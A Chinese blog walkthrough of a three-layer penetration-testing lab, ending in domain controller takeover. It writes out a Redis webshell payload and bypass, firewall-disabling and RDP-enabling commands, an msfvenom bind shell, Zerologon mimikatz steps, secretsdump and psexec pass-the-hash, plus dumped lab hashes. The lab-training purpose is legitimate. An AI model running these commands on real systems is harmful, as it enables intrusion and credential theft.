如何通过代码审计从三层内网各种漏洞拿到域控?

2023-11-03 08:59

本文主要是介绍如何通过代码审计从三层内网各种漏洞拿到域控?,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

在这里插入图片描述

目录

    • 代码审计 Getshell
    • Bypass 突破执行命令
      • 拿到宝塔后台权限
      • 拿到第一个 root.txt
    • 内网渗透一
      • 内网横向移动-192.168.59.4
    • 内网渗透二
      • 内网渗透-10.10.10.202
      • CVE-2020-1472 拿到域控
    • 总结
    • 结尾

本次靶场要求:

四个 root.txt 分别在四台机子用户目录下 拿到三个及格 拿下四个满分

代码审计 Getshell

首先是一个站:cocat.cc
image.png

通过提示把它的备份文件下载到了本地进行审计:
image.png

Bypass 突破执行命令

通过审计拿到了一个 webshell:image.png

由于当前环境不能执行命令,函数都写死了:
image.png

通过翻文件翻到了 Mysql 的配置文件:
image.png

本想尝试 Mysql udf 提权绕过发现 Mysql 版本大于 5.1
image.png

拿到宝塔后台权限

由于当前 web 是宝塔搭建的:
image.png

通过翻文件找到了宝塔后台地址:

C:/BtSoft/panel/data/admin_path.pl
image.png

image.png

然后通过把宝塔的 default.db 文件下载到本地打开,users 表里就是宝塔的登陆账号密码:
image.png

md5 是肯定解密不出来的:
image.png

这个时候需要替换 md5 或者添加一个用户:
image.png

然后把文件保存,上传到目标宝塔目录下:
image.png

这个时候使用账号 saulGoodmang 密码 123456 去登陆:
image.png

手动把禁用的函数关闭:
image.png

然后给他来个重启:
image.png

命令执行强行绕过:
image.png

拿到第一个 root.txt

flag{moonsec-c20ad4d76fe97759aa27a0c99bff6710-1}

image.png

内网渗透一

通过查看进程发现有火绒AV
image.png

随即做免杀上线到 CS
image.png

发现当前内网应该是有其他主机存活的:
image.png

通过 nbtscan 发现内网还有一台主机存活:
image.png

通过 fscan 也扫描出来内网资产了:
image.png

为了进内网直接做了一个 frp socks 代理进去:
image.png

通过 lengyi 老哥的脚本绕过火绒添加了一个用户:

hacker 密码:P@ssw0rd

image.png
image.png

然后开启了它的 3389:

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f

image.png
(https://xzfile.aliyuncs.com/media/upload/picture/20210705141614-80956976-dd58-1.jpg)
image.png

为了方便我把 shell 弹到了msf
image.png

然后抓到了 hash:(由于是 windows 2012 明文是抓不了的,只能抓 hash)

meterpreter > hashdump 
Administrator:500:aad3b435b51404eeaad3b435b51404ee:de935c6087ec367d3ef786915a4edcce:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
hacker:1003:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42:::
mysql:1002:aad3b435b51404eeaad3b435b51404ee:291376866817cf2ccfe198308e5f925b:::
www.saulgoodman.cn:1001:aad3b435b51404eeaad3b435b51404ee:894f353e870620b186a9a46ce56ac8f1:::

通过解密得到了 administrator 的密码:QWEasd444

内网横向移动-192.168.59.4

通过 msf 对内网进行扫描 arp 存活发现了几台机器:(之前没扫描出来应该是有防火墙)

post/windows/gather/arp_scanner

image.png

192.168.59.1 就不用看了是网关,192.168.59.4 就是内网另一台主机!
随后 proxychains + nmap192.168.59.4 进行扫描探测端口服务:

proxychains nmap -sT -sV -Pn -n -p22,80,139,135,445,3306,1433,6379 192.168.59.4

[图片上传中…(image.png-fb74c0-1626434352686-0)]

发现开放的端口有:
image.png

web 页面的话倒是没啥:
image.png

看了看扫描出来 6379 应该是 redis 相关漏洞!
通过尝试 redis 未授权发现连接成功!
image.png

但是查看信息发现出错,应该是密码问题:
image.png

通过 msf redis 爆破模块爆破出了密码:
image.png

重新登陆 redis

proxychains redis-cli -h 192.168.59.4 -p 6379 -a 123456789qq

image.png

登陆成功!现在要想拿到权限首先我们不知道网站路径(写不了一句话 ),但是知道当前网站使用的是 IIS,那么 IIS 默认目录是:

C:\Inetpub\wwwroot

设想会不会是这个目录呢?随即写了一个 aspxshellIIS 默认目录:

192.168.59.4:6379> config set dir C:/inetpub/wwwroot/
OK
192.168.59.4:6379> config set dbfilename 1.aspx
OK
192.168.59.4:6379> set x '<%execute(request("x"))%>'  //注意这里要用单引号
OK
192.168.59.4:6379> save

发现写入不了,随后设置了读写权限 :

config set slave-read-only on

然后发现读写可以了:
image.png

再来写一遍 webshell
image.png

发现是 404,写 asp500,应该是什么东西拦截了。

随后 bypass 测试,可以通过这样绕过:(单引号中间要带空格)

set x '    <%execute(request("x"))%>    '

image.png

拿到 webshell:http://192.168.59.4/a.asp

内网渗透二

通过发现当前机器是不出网的,而且权限还很小:
image.png

发现当前机器上权限太小任何文件都上传不了:
image.png

通过找到了一个可读可写目录:

C:\ProgramData\VMware\logs\

并且当前机器上无任何杀软:
image.png

随即坏土豆提权成功:
image.png

拿到第二个 flag:

flag{moonsec-b6d767d2f8ed5d21a44b0e5886680cb9-2}

image.png

随即添加了一个 asp.net 管理员用户进去:
image.png

内网渗透-10.10.10.202

通过对内网进行存活探测发现内网存活了三台:10.10.10.20110.10.10.202(本机)、10.10.10.209:

for /l %i in (1,1,255) do @ ping 10.10.10.%i -w 1 -n 1 | find /i "ttl="

image.png

随后关闭它防火墙:

netsh advfirewall set allprofiles state off

image.png

然后 MSF 生成正向 shell

msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=9099 -f exe >/root/9099.exe

image.png

目标运行 9090.exe
image.png

随后 MSF 上线:
image.png

hashdump 解密得到了密码:QWEasd1122:
image.png

紧接着开了它的远程桌面:(之前添加了一个 asp.net 用户,方便后续好登陆桌面 )

run post/windows/manage/enable_rdp

image.png

image.png

通过 nbtcan 发现 10.10.10.201(DC)、10.10.10.209 是域环境:
image.png

得想办法拿到一台域机器
对他们进行扫描端口发现他们都开放了 web 服务:
image.png

其中 10.10.10.209 还是一个 Outlook Web App(微软的邮件组件)Exchange
image.png

但是我们没有账号,这个时候我在 Redis 上找到了 pts 文件:

C:\Users>for /r c:\ %i in (*.pst) do @echo %i
for /r c:\ %i in (*.pst) do @echo %i
c:\Documents and Settings\Administrator\Documents\Outlook \moonsec@cncat.cc.pst
c:\Documents and Settings\Administrator\Documents\Outlook \test@cncat.cc - test.pst
c:\Documents and Settings\Administrator\My Documents\Outlook \moonsec@cncat.cc.pst
c:\Documents and Settings\Administrator\My Documents\Outlook \test@cncat.cc - test.pst
c:\Users\Administrator\Documents\Outlook \moonsec@cncat.cc.pst
c:\Users\Administrator\Documents\Outlook \test@cncat.cc - test.pst
c:\Users\Administrator\My Documents\Outlook \moonsec@cncat.cc.pst
c:\Users\Administrator\My Documents\Outlook \test@cncat.cc - test.pst

image.png

image.png

知道了两个用户邮箱:moonsec@cncat.cctest@cncat.cc
然后把文件都下载到本地,进行后续利用(发现都失败了)

CVE-2020-1472 拿到域控

之后发现他域控存在 CVE-2020-1472 域内提权漏洞:(需要 20200918 之后的 mimikatz 才可以使用)

privilege::debug
lsadump::zerologon /target:10.10.10.201 /account:12SERVER-DC$

image.png

lsadump::zerologon /target:10.10.10.201 /account:12server-dc$ /exploit

image.png

导出所有域内用户凭证:

python3 secretsdump.py cncat/12server-dc$@10.10.10.201 -no-passcncat.cc\Administrator:500:aad3b435b51404eeaad3b435b51404ee:42e2656ec24331269f82160ff5962387:::

image.png

image.png

拿到域控和 flag
image.png

利用 msf psexec 上线:

msf6 exploit(windows/smb/psexec) > show options Module options (exploit/windows/smb/psexec):Name                  Current Setting                                                    Required  Description----                  ---------------                                                    --------  -----------RHOSTS                10.10.10.201                                                       yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'RPORT                 445                                                                yes       The SMB service port (TCP)SERVICE_DESCRIPTION                                                                      no        Service description to to be used on target for pretty listingSERVICE_DISPLAY_NAME                                                                     no        The service display nameSERVICE_NAME                                                                             no        The service nameSHARE                                                                                    no        The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder shareSMBDomain             cncat                                                              no        The Windows domain to use for authenticationSMBPass               aad3b435b51404eeaad3b435b51404ee:42e2656ec24331269f82160ff5962387  no        The password for the specified usernameSMBUser               Administrator                                                      no        The username to authenticate asPayload options (windows/x64/meterpreter/bind_tcp_rc4):Name         Current Setting  Required  Description----         ---------------  --------  -----------EXITFUNC     thread           yes       Exit technique (Accepted: '', seh, thread, process, none)LPORT        4446             yes       The listen portRC4PASSWORD  msf              yes       Password to derive RC4 key fromRHOST        10.10.10.201     no        The target addressExploit target:Id  Name--  ----0   Automaticmsf6 exploit(windows/smb/psexec) > run[*] 10.10.10.201:445 - Connecting to the server...
NOTE: Rex::Socket.gethostbyname is deprecated, use getaddress, resolve_nbo, or similar instead. It will be removed in the next Major version
[*] 10.10.10.201:445 - Authenticating to 10.10.10.201:445|cncat as user 'Administrator'...
[*] 10.10.10.201:445 - Selecting PowerShell target
[*] 10.10.10.201:445 - Executing the payload...
[+] 10.10.10.201:445 - Service start timed out, OK if running a command or non-service executable...
[*] Started bind TCP handler against 10.10.10.201:4446
NOTE: Rex::Socket.gethostbyname is deprecated, use getaddress, resolve_nbo, or similar instead. It will be removed in the next Major version
[*] Sending stage (200266 bytes) to 10.10.10.201
[*] Meterpreter session 5 opened (0.0.0.0:0 -> 180.215.199.206:22222) at 2021-06-02 06:35:22 +0000meterpreter >

然后通过令牌窃取身份切换为域管:
image.png

然后通过和域机器 10.10.10.209 建立 IPC
image.png

至此最后一个 flag 也拿到:
image.png

至此本次考核完毕!
【代码审计文档】
image.png
【代码审计文档】
image.png

对于学习安全的人来说,代码审计这一块也是必不可少的,除了代码审计,我也整理了网络安全系统学习文档300PDF供大家学习,【点我查看完整文档】

总结

对于红队成员来说最重要的就是渗透不能有短板,各种漏洞都应该去复现一遍,由于我 Exchange 的漏洞未复现导致卡了很长时间,最后还是使用暴力的手段拿到域控,在真实环境中很危险,很有可能导致域控的密码恢复不了!哦豁,那你就等着跑路吧!

结尾

若有好的建议和错误可以通过评论区评论!

这篇关于如何通过代码审计从三层内网各种漏洞拿到域控?的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/337069

相关文章

活用c4d官方开发文档查询代码

当你问AI助手比如豆包,如何用python禁止掉xpresso标签时候,它会提示到 这时候要用到两个东西。https://developers.maxon.net/论坛搜索和开发文档 比如这里我就在官方找到正确的id描述 然后我就把参数标签换过来

poj 1258 Agri-Net(最小生成树模板代码)

感觉用这题来当模板更适合。 题意就是给你邻接矩阵求最小生成树啦。~ prim代码:效率很高。172k...0ms。 #include<stdio.h>#include<algorithm>using namespace std;const int MaxN = 101;const int INF = 0x3f3f3f3f;int g[MaxN][MaxN];int n

计算机毕业设计 大学志愿填报系统 Java+SpringBoot+Vue 前后端分离 文档报告 代码讲解 安装调试

🍊作者:计算机编程-吉哥 🍊简介:专业从事JavaWeb程序开发,微信小程序开发,定制化项目、 源码、代码讲解、文档撰写、ppt制作。做自己喜欢的事,生活就是快乐的。 🍊心愿:点赞 👍 收藏 ⭐评论 📝 🍅 文末获取源码联系 👇🏻 精彩专栏推荐订阅 👇🏻 不然下次找不到哟~Java毕业设计项目~热门选题推荐《1000套》 目录 1.技术选型 2.开发工具 3.功能

代码随想录冲冲冲 Day39 动态规划Part7

198. 打家劫舍 dp数组的意义是在第i位的时候偷的最大钱数是多少 如果nums的size为0 总价值当然就是0 如果nums的size为1 总价值是nums[0] 遍历顺序就是从小到大遍历 之后是递推公式 对于dp[i]的最大价值来说有两种可能 1.偷第i个 那么最大价值就是dp[i-2]+nums[i] 2.不偷第i个 那么价值就是dp[i-1] 之后取这两个的最大值就是d

pip-tools:打造可重复、可控的 Python 开发环境,解决依赖关系,让代码更稳定

在 Python 开发中,管理依赖关系是一项繁琐且容易出错的任务。手动更新依赖版本、处理冲突、确保一致性等等,都可能让开发者感到头疼。而 pip-tools 为开发者提供了一套稳定可靠的解决方案。 什么是 pip-tools? pip-tools 是一组命令行工具,旨在简化 Python 依赖关系的管理,确保项目环境的稳定性和可重复性。它主要包含两个核心工具:pip-compile 和 pip

D4代码AC集

贪心问题解决的步骤: (局部贪心能导致全局贪心)    1.确定贪心策略    2.验证贪心策略是否正确 排队接水 #include<bits/stdc++.h>using namespace std;int main(){int w,n,a[32000];cin>>w>>n;for(int i=1;i<=n;i++){cin>>a[i];}sort(a+1,a+n+1);int i=1

html css jquery选项卡 代码练习小项目

在学习 html 和 css jquery 结合使用的时候 做好是能尝试做一些简单的小功能,来提高自己的 逻辑能力,熟悉代码的编写语法 下面分享一段代码 使用html css jquery选项卡 代码练习 <div class="box"><dl class="tab"><dd class="active">手机</dd><dd>家电</dd><dd>服装</dd><dd>数码</dd><dd

生信代码入门:从零开始掌握生物信息学编程技能

少走弯路,高效分析;了解生信云,访问 【生信圆桌x生信专用云服务器】 : www.tebteb.cc 介绍 生物信息学是一个高度跨学科的领域,结合了生物学、计算机科学和统计学。随着高通量测序技术的发展,海量的生物数据需要通过编程来进行处理和分析。因此,掌握生信编程技能,成为每一个生物信息学研究者的必备能力。 生信代码入门,旨在帮助初学者从零开始学习生物信息学中的编程基础。通过学习常用

husky 工具配置代码检查工作流:提交代码至仓库前做代码检查

提示:这篇博客以我前两篇博客作为先修知识,请大家先去看看我前两篇博客 博客指路:前端 ESlint 代码规范及修复代码规范错误-CSDN博客前端 Vue3 项目开发—— ESLint & prettier 配置代码风格-CSDN博客 husky 工具配置代码检查工作流的作用 在工作中,我们经常需要将写好的代码提交至代码仓库 但是由于程序员疏忽而将不规范的代码提交至仓库,显然是不合理的 所

Unity3D自带Mouse Look鼠标视角代码解析。

Unity3D自带Mouse Look鼠标视角代码解析。 代码块 代码块语法遵循标准markdown代码,例如: using UnityEngine;using System.Collections;/// MouseLook rotates the transform based on the mouse delta./// Minimum and Maximum values can